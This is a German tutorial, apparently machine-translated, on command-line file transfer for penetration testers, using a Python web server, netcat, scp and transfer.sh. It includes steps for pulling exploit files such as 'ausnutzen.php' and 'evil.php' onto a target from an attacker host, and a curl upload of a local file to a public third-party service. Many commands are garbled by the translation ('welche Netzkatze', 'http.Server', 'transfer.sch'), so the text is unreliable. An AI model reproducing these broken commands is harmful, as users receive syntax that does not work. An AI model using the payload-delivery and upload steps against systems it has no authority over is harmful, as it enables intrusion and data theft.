Die Übertragung von Exploits, Python-Skripten und Lademodulen wird häufig bei Penetrationstests benötigt. Da das Terminal das am häufigsten verwendete Werkzeug ist, ist es wichtig, die Grundlagen der Dateiübertragung zu verstehen.
Ein Stifttester sollte mit verschiedenen Tricks gut ausgestattet sein, um Dateien von einem entfernten Server sowie von einem Verzeichnis in ein anderes zu übertragen. In diesem Tutorial besprechen wir verschiedene Möglichkeiten zum Übertragen von Dateien mit der Befehlszeile.
1. Python-Server
Python ist das Basispaket, das in fast allen Debian-basierten Systemen vorinstalliert ist. Gehen Sie wie folgt vor, um eine Datei von einem Computer auf einen anderen zu übertragen;
Python2:
Wechseln Sie in das Verzeichnis, in dem sich Ihre Datei befindet, die Sie übertragen möchten. Starten Sie einen einfachen Python-Server. Geben Sie den folgenden Befehl ein;
$ python -m SimpleHTTPServer 8080
Gehen Sie nun zu dem Computer, auf den Sie die Datei übertragen möchten. Verwenden Sie den folgenden Befehl, um die Datei herunterzuladen;
$ wget http://192.168.43.177:8080/Datei
Denken Sie daran, die IP, Portnummer und den Namen der Datei zu ersetzen.
Python3:
Alles, was in Python2 geschrieben wurde, wird in Python3 fast immer kaputt gehen. Also schauen wir uns auch an, wie man eine Datei mit Python3 überträgton.
Geben Sie im Fall von Python3 den folgenden Befehl ein, um einen einfachen Python-Server zu starten.
$ python3 -m http.Server 8080
Um die Datei auf das Ziel herunterzuladen, geben Sie den folgenden Befehl ein;
$ wget http://192.168.43.177:8080/ausnutzen.php
2. Netcat
Netcat ist ein leistungsstarkes Dienstprogramm zum Übertragen von Dateien von jedem Remote-Computer auf einen lokalen Computer. Es ist möglicherweise nicht immer installiert. Sie können überprüfen, ob es existiert oder nicht, indem Sie eingeben;
$ welche Netzkatze
Alternativ durch Eingabe;$ welche nc
Erstellen Sie einen Netcat-Server mit dem folgenden Befehl;
$ nc -nlvp 8080 < evil.php
Gehen Sie nun zum Zielcomputer und geben Sie Folgendes ein, um die Datei herunterzuladen;
$ nc -nv 192.168.43.177 8080 > böse.php
Ersetzen nc
mit netcat
in den obigen Befehlen, wenn nc nicht funktioniert oder nicht richtig installiert ist.
3. SCP
Secure Copy Protocol ist ein leistungsstarkes Tool zum Übertragen von Dateien. Dies ist besonders praktisch, wenn Sie Verzeichnisse übertragen möchten. Es wird auch hauptsächlich für Dateiübertragungen über ssh verwendet.
Um die Datei per ssh zu übertragen, geben Sie den folgenden Befehl auf dem sendenden Computer ein;
$ scp -i neu.Pem-Test.py [email protected]:/home/ubuntu
Wobei -i den öffentlichen Schlüssel für die SSH-Anmeldung darstellt, test.py ist die zu übertragende Datei und /home/ubuntu ist das Zielverzeichnis, in dem wir die Datei speichern möchten.
Um eine Datei vom Remote-Rechner herunterzuladen, geben Sie den folgenden Befehl ein;
$ scp [email protected]:/remote_directory/file /local/directory
4. Transfer.Sch
Sie können dieses Drittanbieter-Tool verwenden, um Dateien zu übertragen. Es kann nützlich sein, wenn Sie keinen Computer mit öffentlicher IP haben und die Dateien trotzdem übertragen müssen. Der folgende Befehl lädt die Datei in die Übertragung hoch.sh-Server;
$ curl --upload-file ./Datei.txt https://übertragen.sch/datei.TXT
Um die Datei herunterzuladen, geben Sie den folgenden Befehl ein;
$ curl https://transfer.sch//Datei.txt -o Datei.TXT
Transfer.sh befindet sich noch in der Entwicklung und funktioniert möglicherweise nicht immer.
Fazit
Befehlszeilentools geben uns die Möglichkeit, Dateien auf verschiedene Weise zu übertragen. Sie mögen etwas kompliziert erscheinen, aber wenn Sie sie praktisch anwenden, können Sie Dateien einfach verwalten, insbesondere wenn keine GUI-Option verfügbar ist.